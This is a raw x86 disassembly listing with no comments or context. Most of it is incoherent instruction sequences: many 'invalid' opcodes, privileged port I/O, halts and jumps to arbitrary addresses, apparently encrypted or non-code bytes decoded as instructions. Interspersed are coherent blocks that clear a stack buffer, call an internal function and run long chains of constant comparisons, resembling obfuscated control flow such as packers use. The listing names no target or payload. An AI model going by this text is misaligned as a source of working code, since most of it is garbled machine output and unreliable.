and al, 0x9f
push ds
invalid
scasb al, byte es:[edi]
dec ebp
test eax, 0x3e2bb966
mov cx, 0x3e2b
xchg ebx, eax
sub eax, edx
loope 0x684946d3
pop ebx
xchg dword [edi + 0x30], eax
and eax, 0xb0a08ac7
in eax, 0xa5
inc edx
inc esi
movsb byte es:[edi], byte [esi]
mov word [esp + edx - 0x52733189], cs
jp 0x68494743
sbb eax, 0x7c48385
pop es
pop eax
push edi
std
cmp eax, 0x3e1653c
mov dword [0xcc907902], eax
jne 0x6849471d
int1
xor dh, dl
jle 0x684946fb
mov bl, 0x85
lodsb al, byte ss:[esi]
test dword [ecx - 0x68], ecx
inc ecx
out 0x2e, eax
int3
int3
invalid
in eax, dx
cmp cl, byte [ebx + edi*4 + 0x5f]
jp 0x684950c8
jno 0x6849508d
xor byte [edi - 0x3bd245b2], ch
cmp edi, dword [edx + 0x44973630]
pop eax
test eax, ecx
pop ecx
sal dword [edx + ebx*4], 0x12
push ebp
sahf
mov bl, bl
neg dword [ecx - 0x20]
mov cl, 0xf0
add ebx, dword [eax - 0x3e]
xor esp, dword [ebx + ecx*8 + 0x46]
inc ecx
jle 0x684950f7
nop
invalid
out 0x2a, al
and dl, cl
das
pop ss
inc esp
push edi
js 0x68495153
hlt
sahf
adc esi, esp
lodsb al, byte [esi]
iretd
dec ebx
ret 0x3a59
int 0x4f
rcl byte [eax], cl
push cs
sbb al, 0xc9
push ebx
xor eax, 0xb356a0dc
push ebp
push 0xa33f1169
xlatb
jp 0x68495b28
xchg dword [edx + 0x3d2c5533], esi
pop ds
test byte [eax + 0x1dfbf8cf], al
fbld tbyte [edx + 0x7b44d20c]
sub al, 0x1c
pop ebx
cmp ebp, dword [esi + 0x10]
call 0xfafe4608
xchg edx, eax
add byte [eax - 0x59fe1634], dl
add byte [eax], al
jne 0x68495ac8
dec ebp
jle 0x68495ab6
mov al, byte [0x6e134a89]
cmp eax, 0x8bbcd2e0
push 0xfb5bb521
jb 0x68495b65
mov ah, 0xe6
daa
cdq
sub bh, dh
xchg ebp, eax
cmp byte [ecx + 0xfec37c3], 0x34
adc eax, 0xc7e50da0
jp 0x68495ac6
mov al, byte [0x7ac7e50d]
cwde
inc esi
xor al, 0x3e
pop eax
adc dword [esi], ecx
push ebp
inc edi
xchg ebx, eax
cld
jo 0x68495af9
loopne 0x68495ad4
sbb ebp, dword [ebp - 0x59f4cacc]
sub dh, bl
mov word [ebp - 0x42], es
mov ebp, 0xe0e914a8
cmp ch, byte [edi - 0x15]
push ds
push ecx
sbb al, 0xb1
imul ecx, dword [ebx], 0xffffff82
adc dh, byte [ebx - 0x43]
mov al, byte [0x22327d70]
sub dword [edi + 0x63], 0xcb3c8a47
sar byte [ecx - 0x38], cl
neg byte [ebp + 0x56c3f998]
inc edx
sbb eax, 0xa32e465e
pushfd
sbb eax, 0x459d0fbd
outsd dx, dword [esi]
pop es
jo 0x68495b9b
inc esp
sar esp, 0x66
fadd dword [ebx - 0x3d]
loop 0x68495b69
pushfd
mov byte [ebx], 0x74
xchg dword [edi], esi
cwde
les esp, [eax + 0x68c11759]
mov bh, 9
imul edi, esp, 0x50
push esp
rol dword [edx - 0x3b], 1
adc al, 0xfa
mov al, 0x47
invalid
in al, dx
inc byte [ebp*4 - 0x68faffa8]
mov ebx, 0x635daebb
inc eax
mov eax, 0xd7f72287
rcl dword [ebp - 0x10], 0x77
pop dword [ebx]
push eax
mov esp, 0x8d028066
adc dword [ebp - 0x42295bd6], ecx
pop eax
adc eax, ebp
sal byte [edx], cl
sub byte [edi - 7], dl
pop ebx
out dx, eax
ret 0xea8d
das
mov ebp, esp
mov edx, 0x8fc70a8b
in al, 0x55
iretd
shr cl, 1
adc edx, dword [ebp - 0xbfa0435]
dec ebx
pop ebx
mov edx, 0x83bef03a
mov dl, 0x91
xchg edi, eax
mov esp, 0x37947700
jg 0x6849798f
retf 0x75ba
and dh, dl
and edi, dword [ecx - 0x5c]
and ecx, edx
pop ebp
in eax, 0x68
or al, 0x56
mov eax, 0xdb4054c1
cmp dword [ebp - 0x16336f9a], edi
loope 0x684979a6
add byte [eax], al
cwde
int 0xce
push edx
xor edi, esp
pop edi
xor ebp, ecx
mov ch, 0xa4
jo 0x68497a07
add dword [ecx - 0x20d85580], ebx
dec edx
fmul qword [ebx]
push 0x59
not byte [eax - 0x41fd9878]
sbb byte [esi - 0x50], al
pop esi
inc eax
dec ecx
invalid
invalid
bound esp, qword [esi]
scasd eax, dword es:[edi]
pushfd
mov edi, 0x580c503c
ficomp dword [ebp + 0x63]
mov word [edx + 0x46ac260], gs
and dword [edx - 0x1c], ebx
nop
xor byte [eax + edx*2], dl
mov al, byte [0x76682162]
xchg ecx, esp
cmp al, 0x3a
in al, dx
jnp 0x68498f12
retf 0x883a
int3
xor al, 0x2f
add eax, 0x3dd22070
sub edi, eax
push esi
sti
mov edx, 0x70a266dd
pop fs
jge 0x68499982
cmp edx, ebx
div byte [ebx + 0x6b24d671]
mov edx, 0xb5a9ab14
push ss
dec edx
dec edi
or dword [eax], edx
mov byte [ecx - 0x62], cl
stosb byte es:[edi], al
add ch, ah
mov esp, 0x11fcc802
fmul st(3), st(0)
lodsd eax, dword [esi]
add edi, dword [ebx - 0x77b74965]
loop 0x684999bf
mov dh, 0x48
mov dl, ah
inc ecx
hlt
out 0x2a, al
popfd
xor dword [ebx - 0x63], ecx
cmpsd dword [esi], dword es:[edi]
or al, dh
dec esp
xor dword [ebx - 0x4a], ebp
cdq
in al, dx
rol byte [ecx], 1
sti
dec esi
cmp eax, 0x6bcc3956
aam 0xe7
mov ah, 0x2d
mov dh, 0x55
loopne 0x68499a03
fcmovu st(0), st(6)
fisub word [ebx]
dec eax
ja 0x68499949
xor al, byte [ebx - 0x51]
retf 0x808e
xchg ecx, eax
sbb al, 0x8f
adc cl, byte [edx + 0x39e539d2]
jbe 0x68499979
pop es
xlatb
invalid
cld
mov al, byte [0xc7146362]
xor eax, 0x40641ea7
cmp dword [esi], 0xe
invalid
cmp al, 0xac
je 0x6849a3a8
xchg ebx, eax
adc ebx, dword [eax + 4]
nop
pop eax
add al, 0x90
in eax, 0xc2
aas
mov word [edx + 0xe], gs
and cl, byte [eax]
push edx
cmp byte [ebp + ebx*4 - 0x7b2a5da3], 0xbf
sub eax, 0xe47d590e
invalid
adc dh, bh
int1
sahf
wait
invalid
ficomp word [0x31232533]
cwde
mov eax, ebp
mov esp, 0xb15c8fa4
int1
out 4, eax
xchg edx, eax
aad 0x45
or ebp, dword [eax]
pop ebp
lodsb al, byte [esi]
xor ah, dh
cmpsb byte [esi], byte es:[edi]
inc eax
xchg dl, dl
mov esi, 0xedb6d70a
cmp dword [ebx + ebx + 0x1881765d], ecx
das
or eax, 0x1b855ff3
out 0x68, eax
retf
mov eax, dword [0x66000048]
and edx, edi
and dx, di
sub eax, 0xf84c5907
jo 0x6849b88b
fimul dword [esi]
fsubrp st(1)
sub al, 0x3d
imul ebx, dword [ecx], 0xffffff88
lodsd eax, dword [esi]
nop
dec edi
sbb eax, 0x4f195784
pop edx
popal
xor eax, 0x77b032d6
jp 0x6849b8b4
cwde
nop
loopne 0x6849b81d
xchg ecx, eax
cmp al, 0x20
mov cl, 0xf
cmp dword [edi - 0x4029e964], esi
adc byte [ebp + 0x72], dl
mov al, 0x7f
xor eax, 0xb2041ffd
sbb cl, byte [0x671dc9a]
xor ecx, dword [edx]
test eax, 0x24f4b058
jg 0x6849b85e
shr byte [eax], 1
pop ecx
sbb ecx, dword [edi]
fsub st(1), st(0)
paddusb mm5, mm1
mov bh, 9
pop ebp
fnstcw word [ebx]
scasb al, byte es:[edi]
ror byte [esi*2 + 0x70e5d5be], 0xc6
salc
xor dword [ecx], eax
inc ebx
ret
mov esi, 0x156983a4
outsd dx, dword [esi]
or eax, 0x9427917
scasd eax, dword es:[edi]
xor al, 0x9a
push esi
imul ebp, dword [esi - 0x6d19c085], 0x5dc41936
ljmp 0x4012
push ds
call 0x11380f6b
add dword [edx + 2], edx
cmp dword [edi], ebx
pop ds
loopne 0x6849c267
cmpsd dword [esi], dword es:[edi]
pop eax
int1
daa
mov edi, 0xc1a6964c
loop 0x6849c2cc
imul esp, dword [edx - 0x5b], 0xffffff85
xchg ecx, eax
add al, 0xa7
adc al, 0xf9
pop edi
into
pushal
imul ebx, dword [eax + esi*4], 0xb225885a
adc al, 0x3b
adc dl, byte [ecx + edx + 0x4a]
dec ebp
dec eax
test eax, 0x98dfe6f2
cmp dword [edi - 0x23], 0x53a9c7d9
aaa
xchg edi, eax
pop ds
cwde
xchg ebx, eax
in al, dx
hlt
cwde
pop ebp
jb 0x6849cd50
mov ah, 8
aad 0x91
invalid
ret 0xcc20
dec ebx
mov ch, 0x66
jmp 0x4d91d186
test al, 0xf2
mov ah, 0xb8
ret
ret 0xe6a1
inc edx
mov dh, byte [eax]
dec esp
rol dword [ecx], 1
add eax, dword [eax - 0x7a05fcf1]
mov es, word [edx + eax*2]
and eax, ebp
std
pop eax
fild qword [ecx + 0x47]
adc dword [edx], 0xffffffb2
xchg esp, eax
imul eax, esi, 0x4459916a
fisub word [ebx]
mov esi, 0xe5d7401c
sbb byte [ecx], ah
shr dword [edi - 0x30277f3], 0xd5
ret 0xb6bc
nop
jmp 0x684a0103
nop
lea edx, [ebp - 0xe50]
mov eax, 0
mov ecx, 0x30c
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0xd0], 0xde798
mov dword [ebp - 0xcc], 0
mov dword [ebp - 0xd8], 0xea809
mov dword [ebp - 0xd4], 0
inc dword [eax]
add byte [eax], al
add byte [ebx - 0xcb7b], cl
dec dword [edi]
scasd eax, dword es:[edi]
test dword [eax], ebp
invalid
invalid
dec dword [ecx + 0x2c858bc2]
invalid
invalid
dec dword [edi]
scasd eax, dword es:[edi]
test dword [eax], esi
invalid
invalid
dec dword [ebp - 0x7a74fdf4]
xor bh, bh
invalid
push edi
movsd dword es:[edi], dword [esi]
sub bh, bh
invalid
inc dword [ecx]
ror dword [ecx + 0x208589ca], 1
invalid
invalid
dec dword [ecx - 0xdb6b]
dec dword [ecx - 0xdf7b]
dec dword [ecx - 0xdb6b]
dec dword [ebx - 0xdf7b]
push dword [0xcac8e458]
mov edx, dword [ebp - 0xdc]
xor dl, 0xcb
or eax, edx
nop
lea eax, [ebp - 0x220]
mov dword [esp + 4], eax
lea eax, [ebp - 0xe50]
mov dword [esp], eax
call fcn.68201064
mov dword [ebp - 0xe8], 0x3c7ea
mov dword [ebp - 0xe4], 0
mov dword [ebp - 0xf0], 0x4c177
mov dword [ebp - 0xec], 0
mov eax, dword [ebp - 0xf0]
mov edx, dword [ebp - 0xec]
sub eax, dword [ebp - 0xe8]
sbb edx, dword [ebp - 0xe4]
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0xf4], edx
mov eax, dword [ebp - 0xf8]
xor eax, 0xf2921
or eax, dword [ebp - 0xf4]
je 0x684a0465
mov edx, 0xf2921
mov eax, 0
cmp edx, dword [ebp - 0xf8]
sbb eax, dword [ebp - 0xf4]
jl 0x684a80e2
mov eax, dword [ebp - 0xf8]
xor eax, 0xf0e48
or eax, dword [ebp - 0xf4]
je 0x684a7685
mov edx, 0xf0e48
mov eax, 0
cmp edx, dword [ebp - 0xf8]
sbb eax, dword [ebp - 0xf4]
jl 0x684a80e2
mov eax, dword [ebp - 0xf8]
xor eax, 0xe84a1
or eax, dword [ebp - 0xf4]
je 0x684a2385
mov edx, 0xe84a1
mov eax, 0
cmp edx, dword [ebp - 0xf8]
sbb eax, dword [ebp - 0xf4]
jl 0x684a80e2
mov eax, dword [ebp - 0xf8]
xor eax, 0xc14ed
or eax, dword [ebp - 0xf4]
je 0x684a0ec5
mov edx, 0xc14ed
mov eax, 0
cmp edx, dword [ebp - 0xf8]
sbb eax, dword [ebp - 0xf4]
jl 0x684a80e2
mov eax, dword [ebp - 0xf8]
xor eax, 0x7ab20
or eax, dword [ebp - 0xf4]
je 0x684a42a5
mov edx, 0x7ab20
mov eax, 0
cmp edx, dword [ebp - 0xf8]
sbb eax, dword [ebp - 0xf4]
jl 0x684a80e2
mov eax, dword [ebp - 0xf8]
xor eax, 0x7a020
or eax, dword [ebp - 0xf4]
je 0x684a6c25
mov edx, 0x7a020
mov eax, 0
cmp edx, dword [ebp - 0xf8]
sbb eax, dword [ebp - 0xf4]
jl 0x684a80e2
mov eax, dword [ebp - 0xf8]
xor eax, 0x597fa
or eax, dword [ebp - 0xf4]
je 0x684a2de5
mov edx, 0x597fa
mov eax, 0
cmp edx, dword [ebp - 0xf8]
sbb eax, dword [ebp - 0xf4]
jl 0x684a80e2
mov eax, dword [ebp - 0xf8]
xor eax, 0x4eea1
or eax, dword [ebp - 0xf4]
je 0x684a4d05
mov edx, 0x4eea1
mov eax, 0
cmp edx, dword [ebp - 0xf8]
sbb eax, dword [ebp - 0xf4]
jl 0x684a80e2
mov eax, dword [ebp - 0xf8]
xor eax, 0x40c25
or eax, dword [ebp - 0xf4]
je 0x684a1925
mov edx, 0x40c25
mov eax, 0
cmp edx, dword [ebp - 0xf8]
sbb eax, dword [ebp - 0xf4]
jl 0x684a80e2
mov eax, dword [ebp - 0xf8]
xor eax, 0x26f5d
or eax, dword [ebp - 0xf4]
je 0x684a5765
mov edx, 0x26f5d
mov eax, 0
cmp edx, dword [ebp - 0xf8]
sbb eax, dword [ebp - 0xf4]
jl 0x684a80e2
mov eax, dword [ebp - 0xf8]
xor eax, 0x2267c
or eax, dword [ebp - 0xf4]
je 0x684a3845
mov edx, 0x2267c
add al, byte es:[eax]
mov eax, 0
cmp edx, dword [ebp - 0xf8]
sbb eax, dword [ebp - 0xf4]
jl 0x684a80e2
mov eax, dword [ebp - 0xf8]
xor eax, 0x3fa2
or eax, dword [ebp - 0xf4]
je 0x684a61c5
mov eax, dword [ebp - 0xf8]
xor eax, 0xf98d
or eax, dword [ebp - 0xf4]
je 0x684a80e5
jmp 0x684a80e2
popal
wait
loopne 0x684a0418
in al, 0x3c
in eax, dx
add eax, 0x509992
xor dh, byte [edi - 0x41]
ljmp 0x64a5
std
mov edi, 0xf2905856
push ebp
daa
out 0xc, eax
mov eax, dword [0xf5f29046]
mov al, 0x14
invalid
outsd dx, dword [esi]
pop esi
lock sub dword [edi], 0x3f
cli
invalid
pop ecx
pop eax
iretd
invalid
in eax, dx
adc al, 0xb9
pop edx
outsb dx, byte [esi]
inc edx
dec eax
invalid
jecxz 0x684a42c1
push eax
mov dl, 0xb5
mov dword [edx - 0x27], ecx
cmp al, 0x76
movsb byte es:[edi], byte [esi]
sti
test byte [ecx], dh
fnstcw word [ebp - 0x29]
or eax, 0x41e9cc90
add byte ds:[eax], al
sbb dword [ecx + 0x5aced433], edx
inc eax
test al, 0xe9
push esi
sahf
push esi
loop 0x684a42ea
pop ebx
and bl, byte [ebx - 7]
ret 0x4ddc
popal
stc
push ds
xchg ecx, eax
cmpsb byte [esi], byte es:[edi]
out dx, eax
inc edi
rcr dword [ecx + 0x1acbbbe2], 0x68
jbe 0x684a42da
mov ebx, 0x76681acb
or byte [esi - 0xa1fb61b], dl
xchg esi, eax
in eax, 0x49
loopne 0x684a42cc
xor eax, ecx
nop
mov ebp, 0xcc2b29f7
xchg ecx, eax
out 0xa1, al
dec eax
js 0x684a4328
fnstsw word [edx - 0x7dab2905]
adc dh, byte [ebp - 0x4e]
push 0x22593239
inc eax
enter 0xffffffffffffce2d, 0x25
mov dword [edi + 0x4e8f7faa], ebx
adc byte [edx], 0x75
mov dl, 0x68
cmp dword [edx], esi
pop ecx
and al, byte [eax - 0x38]
sub eax, 0x9f8925ce
stosb byte es:[edi], al
jg 0x684a428c
dec esi
sub dword [esi + 0x73], esp
jns 0x684a4380
movsb byte es:[edi], byte [esi]
test byte [ecx - 0x1c2eda0a], bl
pushfd
in al, dx
invalid
minps xmm3, xmmword [edi + 0x7c6b501e]
xor ah, cl
add al, 0xfe
or dword [ebp - 0x5a], esi
invalid
iretd
les ecx, es:[eax]
aas
mov cl, byte [esi - 0x38ad696a]
aad 0x74
inc ecx
nop
sub al, 0x66
xchg esp, eax
idiv byte [esi]
mov bh, 0xe5
aas
lahf
mov dword [0xe357e22f], eax
int 0xd
enter 0x38ae, 0x5e
xor dh, al
mov byte [ebx + 0x1abc9693], dl
add dh, byte [ecx]
xor al, 0x34
xchg ebp, eax
enter 0x22e9, 0x43
neg byte [esi + 0x3a88a1ae]
mov ch, 0xbc
mov edx, 0xf7941b66
adc edx, dword [ecx - 0x75]
pushfd
sti
xor byte [ecx - 0xb2abe9f], bh
out 0x87, eax
ficomp dword [ecx + 0x35]
inc ebp
rcl dword [edi]
fbstp tbyte [ecx]
popal
into
out 0xdf, eax
xor dword [ecx - 0x32], esp
rcl dh, 0x7e
xchg ecx, eax
and dword [eax + 0x25715cca], edi
rcr byte [eax], 6
mov edx, 0xbb37fdac
test bl, 0xf2
jge 0x684a4dba
xchg edx, eax
xlatb
pop esi
xchg ah, bh
inc esp
inc ebp
pop esi
shl byte [edi - 0x588f4573], 1
mov al, byte [0xab2d5915]
sti
aas
adc byte [esi], al
adc eax, 0xa5772708
jbe 0x684a4d58
arpl word [eax + 0x520c477], bx
adc al, dh
lodsd eax, dword [esi]
cmp edi, dword [esi]
out 0xe4, eax
ficom dword [eax + edx*4 + 0x5c]
adc al, 0x66
inc esi
mov ss, word [ecx]
int1
mov ah, 0xcc
push edx
salc
inc ebp
enter 0x6f33, 0x7b
or eax, 0x2d948849
out dx, al
pop ebp
adc byte [ebx - 0x29], ch
push ebx
out dx, al
jg 0x684a4de5
mov ah, 0x10
mov word [eax + 0x645ebb14], cs
jg 0x684a4e2e
in eax, 0x71
inc edi
adc edx, dword [edi - 0x1e20a0e3]
invalid
inc edx
xchg byte [eax + 0x5f], dh
dec ebp
mov eax, dword [0xfc2988ce]
pop ebp
push edx
leave
push 0xffffffffffffff90
int3
push ebp
cwde
dec ebx
dec ebx
and ecx, ebx
or al, 0xce
push edi
invalid
int 0xe7
inc esp
mov dl, 0x61
sub ch, dh
insd dword es:[edi], dx
add byte [edi], 0x7c
dec edx
pushfd
mov dword [ecx + ebx*2], edi
test eax, 0x66ed0ff7
fldenv [ebp - 0x5bffea89]
pushfd
insb byte es:[edi], dx
salc
jecxz 0x684a57a7
paddsw mm4, qword [esi - 0x27]
movsd dword es:[edi], dword [esi]
ja 0x684a5793
add byte [esp + ebx*4 + 0x22e3d66c], ah
idiv byte [ebp - 0x44]
dec eax
in eax, 0xea
push ebx
cmc
lahf
js 0x684a57f7
push esi
push esi
or edx, dword [edi - 0x77]
xor al, 0xad
in eax, dx
inc ebp
adc ecx, dword [ecx]
mov dword [ebp*4 + 0x91345ed], esi
enter 0x7238, 0xffffffffffffffb2
push ebx
in al, dx
mov al, 0xe7
loope 0x684a5777
sbb eax, dword [ecx]
inc edi
mov ch, 0x3a
jl 0x684a57c4
wait
in al, dx
fsub dword [edi + 0x7e023fc5]
add al, 0xec
lahf
retf
mov edx, 0xab04f1b4
add eax, 0x7b6cb932
xchg ecx, eax
mov dl, 0x2a
sbb edx, dword [ecx + 0x768549cc]
pushal
xor al, 0xa0
dec esp
clc
daa
mov cl, 0x12
cmpsd dword [esi], dword es:[edi]
or ebx, dword fs:[ecx + ebp*4 - 0x1edda9b3]
out 0xfd, eax
adc al, 0xbf
xchg edi, eax
outsd dx, dword [esi]
xchg esi, eax
mov edi, dword [ebp - 0x64]
jge 0x684a578f
cdq
sbb bl, bh
push ds
sbb eax, 0x8a0488
sub al, 0xb8
mov byte [0x5e3fa16b], al
fdivr qword [ecx]
imul ecx, dword [esi - 0x454da1be], 0x114ae440
mov eax, dword [0x25a75bf6]
add dword [ecx + 0x54], 0x1cc5c36
out dx, eax
cmpsd dword [esi], dword es:[edi]
jne 0x684a57f1
imul ebp, dword [edx - 0x37438ba5], 0xffffffed
insb byte es:[edi], dx
mov eax, 0x8c3fd73c
or eax, 0xcc745eb6
sbb al, 0x88
xchg edx, eax
les edx, [edx]
mov dword [eax], ebp
add eax, 0x4aed7940
pop edx
in al, dx
invalid
mov ebp, 0x76dfb81
push edi
stc
xchg ebx, eax
push 0xffffffffffffffb1
sar byte [eax + 0x6e5527bd], 0xdb
push ebx
in eax, 0x76
pop ss
xor dl, byte [edi + ecx*2 + 0x7057e771]
jmp 0x9b5e5e70
jns 0x684a6be8
inc edx
cmp dword [ebp - 0x14], ebx
in al, dx
mov dword [0x25887845], eax
or eax, 0x4ef3c9d2
out dx, eax
invalid
add bh, byte [ebp - 0x78]
stosb byte es:[edi], al
cmp dword [ebx + 0x55], 0xcfb827a5
invalid
div dword [edx + eax]
test al, 0x3e
stc
or dword [eax - 0x506064f2], 0xffffff80
push eax
das
out 0xbe, al
add bh, byte [esi + 0x10]
jnp 0x684a6be3
lodsb al, byte [esi]
test al, 0xe9
xor eax, 0x8058ea89
jno 0x684a6c65
xor bl, dh
push 8
cli
mov eax, ds
clc
jns 0x684a6c62
jnp 0x684a6c02
adc edi, dword [ecx + 0x77]
xlatb
push ebx
xchg ebx, eax
cmpsb byte [esi], byte es:[edi]
and ecx, esi
fnstenv [edi + 0x2e]
sbb bh, byte [ecx - 0x5b]
hlt
mov dh, 0x2a
or esi, dword [esi + ecx*2]
and eax, 0x87f025c5
sub eax, 0xeb70e882
mov eax, 0xe765dc9a
call 0x30357e6
fsub qword [ebp - 0x19]
pop edx
in al, dx
aad 0x9a
xchg edi, eax
mov cl, byte [esi]
add eax, 0xd4b91d0e
sahf
aam 0x9e
stc
out dx, al
xchg esp, eax
mov ah, 0xaf
div dword [eax + 0x54]
inc esp
push esi
scasd eax, dword es:[edi]
js 0x684a6c84
ficomp dword [esi]
xchg dword [edi + 0x27f9f93e], esp
movsb byte es:[edi], byte [esi]
dec ebx
or eax, dword [edx - 0x37]
in eax, dx
test byte [ebp + 0x31], cl
jbe 0x684a6c71
mov eax, 0x366ad26a
add esp, dword [edi]
adc dword [0x6b2d1b4a], esp
clc
sbb dh, byte [ebx - 0x53]
out dx, eax
or byte [esi - 0x35], cl
xor esp, dword [ebx + 0x55]
mov dh, 0x96
jo 0x684a6cdd
invalid
lcall 0xe366, 0x15ee4cc2
jo 0x684a6d38
add dword [edx - 0x1d], esi
retf 0x719a
add edi, ebp
and al, 0x81
and byte [ebp + 0x48], bh
and dword [edi + 0x1d197ff3], ebp
mov eax, dword [0xfd006c13]
insb byte es:[edi], dx
add ch, bh
fnstcw word [ecx]
jnp 0x684a6d47
pop ss
adc ah, byte [esp + ecx*2 + 0x3510d93f]
add eax, 0xd09205e
invalid
add dword [eax], esp
dec edi
push 0x62
mov ch, 0xe
or al, 0xe6
and edi, dword [ecx]
pop ds
jns 0x8c98b429
mov ebx, 0x68735532
or dword [edx], esi
xchg esp, eax
sub eax, 0x98d088cd
iretd
nop
jmp 0x684a80e6
nop
mov dword [esp + 4], 0x68b0500c
lea eax, [ebp - 0xe50]
mov dword [esp], eax
call fcn.68201064
mov dword [ebp - 0x100], 0xf3138
mov dword [ebp - 0xfc], 0
mov dword [ebp - 0x108], 0xfd6a
mov dword [ebp - 0x104], 0
mov eax, dword [ebp - 0x100]
mov edx, dword [ebp - 0xfc]
sub eax, dword [ebp - 0x108]
sbb edx, dword [ebp - 0x104]
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x10c], edx
mov eax, dword [ebp - 0x110]
xor eax, 0xe33ce
or eax, dword [ebp - 0x10c]
je 0x684ac0b3
mov edx, 0xe33ce
mov eax, 0
cmp edx, dword [ebp - 0x110]
sbb eax, dword [ebp - 0x10c]
jl 0x684ac0b6
mov eax, dword [ebp - 0x110]
xor eax, 0xb0be2
or eax, dword [ebp - 0x10c]
je 0x684aabf6
mov edx, 0xb0be2
mov eax, 0
cmp edx, dword [ebp - 0x110]
sbb eax, dword [ebp - 0x10c]
jl 0x684ac0b6
mov eax, dword [ebp - 0x110]
xor eax, 0x8d7ee
or eax, dword [ebp - 0x10c]
je 0x684ab656
mov edx, 0x8d7ee
mov eax, 0
cmp edx, dword [ebp - 0x110]
sbb eax, dword [ebp - 0x10c]
jl 0x684ac0b6
mov eax, dword [ebp - 0x110]
xor eax, 0x894f2
or eax, dword [ebp - 0x10c]
je 0x684a9736
mov edx, 0x894f2
mov eax, 0
cmp edx, dword [ebp - 0x110]
sbb eax, dword [ebp - 0x10c]
jl 0x684ac0b6
mov eax, dword [ebp - 0x110]
xor eax, 0x47557
or eax, dword [ebp - 0x10c]
je 0x684aa196
mov edx, 0x47557
mov eax, 0
cmp edx, dword [ebp - 0x110]
sbb eax, dword [ebp - 0x10c]
jl 0x684ac0b6
mov eax, dword [ebp - 0x110]
xor eax, 0x10470
or eax, dword [ebp - 0x10c]
je 0x684a8276
mov eax, dword [ebp - 0x110]
xor eax, 0x1f111
or eax, dword [ebp - 0x10c]
je 0x684a8cd6
jmp 0x684ac0b6
dec ebx
int3
out dx, al
in eax, dx
paddb mm6, qword [ebp + 0x7c]
adc ebp, ebx
fist word [edi]
add bh, byte [edi]
pop es
popfd
in al, dx
enter 0xffffffffffffee4f, 0xffffffffffffffcb
dec edx
and edx, dword [esi + eax*8]
in al, dx
push ebx
cmp byte [edi - 0x3cb46216], cl
vmovd dword [edi + 0x68], xmm3
rcl esp, 0x90
int3
add al, 0xb5
leave
push es
imul edi, dword [0x7ae8a675], 0xffffffe0
xor byte [edx + 0x3b], bl
mov esp, dword [ebx - 0x344fc8f9]
push esp
movsd dword es:[edi], dword [esi]
rol ebp, 1
mov eax, dword [0x41aa259a]
sub cl, byte [ecx + 0x4d]
outsd dx, dword [esi]
mov es, edi
insd dword es:[edi], dx
mov ch, ch
nop
sub byte [edx - 0x6b], cl
aaa
or ax, 0x844d
sbb bh, byte [edx]
jnp 0x684a8d77
dec ebx
out dx, al
pop ecx
mov al, byte [0x9b66a1cb]
wait
out dx, eax
out 0x74, al
pop ebp
int1
aas
add eax, 0x7e8c7e5e
dec edx
pop esi
jle 0x684a8ca8
jle 0x684a8d68
xchg ebx, eax
or byte [edx - 0x48], bh
mov dword [ecx + 0x21da17], ebx
test eax, 0x23d9e89f
xchg esi, eax
cmp esp, dword [esi]
adc cl, byte [esi]
shl byte [esi], 0x97
mov word [edi + 0x2e071df], gs
leave
xchg byte [eax + 0x26886162], ah
ja 0x684a8d4e
inc esi
aam 0x40
jns 0x684a8d11
jmp 0x684a8d19
cmp cl, 0x8d
xchg ebx, eax
push es
and cl, byte [ecx - 0xd]
sbb ch, byte [edx + 0x11]
les edx, [ecx]
and eax, 0xc7d96d5d
pop ebp
pop ebp
aaa
jecxz 0x684a8d13
pop edi
retf 0xe45a
pop edx
in al, 0xac
push 0xffffffffffffff83
or dword [ebp - 0x2c], edx
fldcw word [esi + 0x7e]
cmp eax, dword [edx + 0x55]
insd dword es:[edi], dx
cwde
ret
test al, 0x14
outsd dx, dword [esi]
xchg esi, eax
shl dword [esi + 0x1102e970], 1
dec eax
scasb al, byte es:[edi]
rcr dword [ebp + 0x5aea4825], cl
mov ebx, 0xcf654f27
stosd dword es:[edi], eax
mov byte [0x4068868], al
scasd eax, dword es:[edi]
retf
sbb al, 0x35
and bh, byte [edi - 0x7cc20cea]
js 0x684a96d2
pop edi
retf
add al, 0xf8
salc
mov dword [0x263cfad9], eax
rcl byte [ebp + eax*8 - 0x6163e460], cl
ljmp 0x33bb
fistp dword [esi + 0x37]
invalid
popfd
push 0xe28b17a3
retf 0xd604
jmp 0x684a9fde
push 0xffffffffffffffcf
popal
cli
cmp eax, 0x78c90fb5
inc edx
mov bh, 0x40
mov dl, 0xf3
dec esp
adc byte [edx + esi*2], ch
loope 0x684aa006
jb 0x684aa047
lahf
and byte [edx], 0x7c
jmp 0x4737df69
inc ecx
adc edx, edi
push 0xe7b3b4c2
or dl, dh
jo 0x684aa064
test esi, esp
stosb byte es:[edi], al
ja 0x684aa0c5
push cs
clc
and byte [eax + eax*8 - 0x52], dh
loope 0x684aa053
mov edi, 0x8deb06cb
xchg ecx, eax
outsb dx, byte [esi]
mov dl, 0xb8
mov ch, byte [edx + 0x5f66470c]
push eax
mov eax, 0xd38bcc94
nop
int3
push es
jmp 0x684aa01b
invalid
and eax, 0xc69cf6e6
cmp al, cl
push edi
loopne 0x684aa149
xor eax, 0x844650ad
dec ebx
in al, 0x7c
sub eax, esp
dec eax
pushfd
jle 0x684aa070
jns 0x684aa08b
xchg esp, eax
mov eax, 0xdf0ac26c
loope 0x684aa12f
invalid
insd dword es:[edi], dx
or cl, byte [ecx + 0x64270b55]
or dword fs:[ecx], eax
aam 0xed
test al, 0x52
cmc
adc bl, cl
sbb dword [ebx + edi - 0x17], esi
xchg ebp, eax
imul dword [ecx - 0x2fd417d7]
sub edx, eax
scasd eax, dword es:[edi]
das
jl 0x684aa0d3
xor eax, 0xeeada5c8
invalid
xor al, 0xbb
dec edx
add eax, 0xcd82d52f
or eax, 0xb7a2d772
sahf
push es
sbb dword [ebx - 0x3a], 0x1c
cmpsb byte [esi], byte es:[edi]
pop ebx
je 0x684aa1c3
imul ecx, dword [ebx + edx*8 - 0x6f], 0xf8600a55
add dword [ebx + edx*4], esp
nop
lds ebx, [ebp + ebp + 0x39b4699b]
ror esi, 0xf1
push 0xffffffffffffffb0
jge 0x684aa14c
aad 0x7f
push esp
mov dword [ecx - 0x5a], ebp
add eax, 0x91f4ae18
invalid
pop edi
dec edx
push es
xchg ecx, eax
add edi, dword [edx + 0x21d8485b]
or eax, 0x8250e6dc
int3
cmp ch, al
les ebx, [ecx - 0x535b7a2a]
and dword [edi + 0x615f71ee], ebp
stc
stosb byte es:[edi], al
cmp dword [esi - 7], esi
jno 0x684ab6a9
sbb bh, byte [ebx - 0x6a99f42]
in eax, 0x8a
ret
